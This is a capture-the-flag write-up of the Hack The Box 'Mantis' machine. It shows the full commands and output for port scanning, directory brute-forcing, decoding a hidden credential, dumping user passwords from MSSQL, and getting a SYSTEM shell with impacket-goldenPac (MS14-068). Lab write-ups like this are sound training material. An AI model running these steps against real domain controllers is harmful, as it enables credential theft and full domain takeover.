Mantis Write-Up

- Intro
- Root
- Notes

Intro

This is an older hard machine and like other older machines, is a little bit "quirky". We have some string decoding and a rare Kerberos exploit that can be quite hard to identify without prior knowledge. There are defiantly things to learn from this box however I wouldn't call it an enjoyable machine. With that said however let's go!

Root

We start with an Nmap scan:

[felixm@blackbear ~]$ nmap -p 1-60000 -T4 -A 10.10.10.52

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-11-28 23:54:50Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1337/tcp  open  http         Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS7
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2014 12.00.2000.00; RTM
|_ssl-date: 2022-11-28T23:55:52+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-11-28T23:45:12
| Not valid after:  2052-11-28T23:45:12
| MD5:   61d1 cc61 8e4d 2909 b77f 5001 60d0 dfc7
|_SHA-1: 2cb8 de65 e0f7 00c1 4e5e e9b3 e3a2 bd09 f4ab 4d7d
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: MANTIS
|   DNS_Domain_Name: htb.local
|   DNS_Computer_Name: mantis.htb.local
|   DNS_Tree_Name: htb.local
|_  Product_Version: 6.1.7601
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc        Microsoft Windows RPC
8080/tcp  open  http         Microsoft IIS httpd 7.5
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Tossed Salad - Blog
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
49166/tcp open  msrpc        Microsoft Windows RPC
49821/tcp open  msrpc        Microsoft Windows RPC
50255/tcp open  ms-sql-s     Microsoft SQL Server 2014 12.00.2000
|_ssl-date: 2022-11-28T23:55:52+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-11-28T23:45:12
| Not valid after:  2052-11-28T23:45:12
| MD5:   61d1 cc61 8e4d 2909 b77f 5001 60d0 dfc7
|_SHA-1: 2cb8 de65 e0f7 00c1 4e5e e9b3 e3a2 bd09 f4ab 4d7d
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: MANTIS
|   DNS_Domain_Name: htb.local
|   DNS_Computer_Name: mantis.htb.local
|   DNS_Tree_Name: htb.local
|_  Product_Version: 6.1.7601
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-11-28T23:55:47
|_  start_date: 2022-11-28T23:45:07
| smb-security-mode: 
|   account_used: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: mantis
|   NetBIOS computer name: MANTIS\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: mantis.htb.local
|_  System time: 2022-11-28T18:55:44-05:00
| ms-sql-info: 
|   10.10.10.52:1433: 
|     Version: 
|       name: Microsoft SQL Server 2014 RTM
|       number: 12.00.2000.00
|       Product: Microsoft SQL Server 2014
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_clock-skew: mean: 42m51s, deviation: 1h53m23s, median: 0s

Warning

I lost my time and sanity because of the initial scan for this machine. My standard Nmap scan did not reveal the port we needed and thus I was just wasting hours going down rabbit holes. From now on, the Nmap command above will be my normal go to Nmap command.

It's been a while since I've seen an Nmap output this big... Challenge accepted! The "smb-os-discovery" scripts confirmed this is an Active Directory connected machine. As per usual I'm going for low hanging fruit and will proceed to investigate the web app running on port 1337:

This looks to be a default IIS page. We can set off a directory brute force to see if we can find any hidden content:

[felixm@blackbear ~]$ gobuster dir -w directory-list-2.3-big.txt -u http://mantis.htb:1337 -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mantis.htb:1337
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/11/29 00:17:49 Starting gobuster in directory enumeration mode
===============================================================
/orchard              (Status: 500) [Size: 3026]
/secure_notes         (Status: 301) [Size: 159] [--> http://mantis.htb:1337/secure_notes/]
Progress: 222629 / 1273834 (17.48%)
[!] Keyboard interrupt detected, terminating.
																							
===============================================================
2022/11/29 00:18:28 Finished
===============================================================

We found /orchard (which is the name of the CMS that appears to be running on port 8080) and /secure_notes which looks a lot more interesting:

We can find a very strangely named file texted file with the following inside:

This looks like a set of instructions for an administrator to follow. Reading through I saw mentions to port 8080 and when visiting it seems to have been setup with Orchard CMS. Since this has been done I'm assuming all of these tasks have been completed including the setting of the admin password on the SQL server. I did try some default passwords with admin as the user to try and authenticate but failed. After some further enumeration I ended up coming back to this page and decided to figure out what the weird string was in the file name. I started by checking the length of the string:

[felixm@blackbear ~]$ expr length "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx"
48

Now I don't know any hashes that have a length that's not 32/64/128/etc characters long, I did run this through Hash-Identifier just incase but got nothing. I decided to throw it in CyberChef and play around with some of the recipes:

The Magic setting quickly figured out that this string was converted to Hex then Base64 encoded! Now we have what looks to be the clear text credentials for the SQL server hosted on port 1433. I would normally try to connect to this using MySQL client however in this case we're looking at "ms-sql-s" which is actually Microsoft SQL Server which is not the same as MySQL. To interface with this database we'll need to use a tool called sqsh:

Note

The output from sqsh has been heavily modified to make it readable. For some reason the output from this tool is completely broken.

[felixm@blackbear ~]$ sqsh -S 10.10.10.52 -U admin
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp

1> SELECT name FROM sys.databases;
2> go

Databases                                                                                                                                                  
---------
master
tempdb
model
msdb
orcharddb

1> USE orcharddb
2> go
3> SELECT * FROM orcharddb.INFORMATION_SCHEMA.TABLES
4> go

DATABASE        TABLE_NAME     
--------------------------------------------------------------------   
[...]
orcharddb       blog_Navigation_AdminMenuPartRecord
orcharddb       blog_Scheduling_ScheduledTaskRecord
orcharddb       blog_Orchard_ContentPicker_ContentMenuItemPartRecord
orcharddb       blog_Orchard_Alias_AliasRecord
orcharddb       blog_Orchard_Alias_ActionRecord
orcharddb       blog_Orchard_Autoroute_AutoroutePartRecord
orcharddb       blog_Orchard_Users_UserPartRecord
orcharddb       blog_Orchard_Roles_PermissionRecord
orcharddb       blog_Orchard_Roles_RoleRecord
orcharddb       blog_Orchard_Roles_RolesPermissionsRecord
orcharddb       blog_Orchard_Roles_UserRolesPartRecord
orcharddb       blog_Orchard_Packaging_PackagingSource
orcharddb       blog_Orchard_Recipes_RecipeStepResultRecord
orcharddb       blog_Orchard_OutputCache_CacheParameterRecord
[...]

1> SELECT * FROM blog_Orchard_Users_UserPartRecord
2> go
	
Id	UserName	Email			NormalizedUserName	Password      
----------------------------------------------------------------------------------------------------------------------------
2	Admin					admin               	AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==                                               
15	James		james@htb.local		james			J@m3s_P@ssW0rd!

Ok we now have some credentials to try and authenticate with. Looking back at our Nmap scan I saw port 445 so I tried and failed to authenticate using impacket-wmiexec and impacket-psexec. When I'm attempting to spray domain controllers I'll also try impacket-goldenpac if I can see port 88 (Kerberos) is open. The GoldenPac exploit is designed to abuse MS14-068 which allows you to forge a Golden Ticket without knowing the krbtgt hash by bypassing the PAC signature verification. The Impacket script automates this process and then uses that ticket to create a remote shell.

To get this to work we need to put the command together very carefully. We must reference the machine by it's FQDN and have the Domain's name resolve to an IP. The easiest way to do this is add the machine into our /etc/hosts file:

[felixm@blackbear ~]$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

10.10.10.52     mantis.htb.local        htb.local

We can now execute this and see if it works:

[felixm@blackbear ~]$ impacket-goldenPac htb.local/james:J@m3s_P@ssW0rd\!@10.10.10.52
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file vXhitlsX.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service Oeqh on mantis.htb.local.....
[*] Starting service Oeqh.....
[!] Press help for extra shell commands

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Note

If you receive an error like this: "mantis.htb.local seems not vulnerable (Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database))" Then you need to double check that you're using the correct FQDNs. Double check your Nmap scan as this should tell you the Domain Name and what the host's FQDN is.

Notes

I feel this box was only easy for me because part of my "spray the credentials everywhere" protocol does involve GoldenPac if port 88 is open with Kerberos behind it. To me this isn't really a good approach, I couldn't find a legitimate or accurate way to just confirm from a blackbox perspective if the target is vulnerable to MS14-068 without just trying it to see if it errors. If anyone does know of an Nmap script or similar please do DM me on Twitter.

Mantis Write-Up

Contents

Intro

Root

Warning

Note

Note

Notes